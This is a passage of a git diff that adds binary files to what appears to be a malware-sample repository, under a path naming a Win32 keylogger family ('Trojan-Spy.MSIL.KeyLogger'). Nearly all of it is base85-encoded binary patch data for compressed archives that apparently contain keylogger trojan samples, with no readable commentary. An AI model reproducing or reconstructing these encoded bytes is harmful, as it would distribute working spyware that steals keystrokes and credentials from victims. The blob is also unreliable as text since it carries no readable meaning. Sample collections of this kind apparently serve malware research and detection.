ibbklw2=4H^O8j#p!QN;+0092&?f5pf98CAyum1ytsl}fF literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.qqc-8.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.qqc-8.7z new file mode 100644 index 0000000000000000000000000000000000000000..bdbcf952d90071304ae9e8981ebbc8e3e028ea81 GIT binary patch literal 19705 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 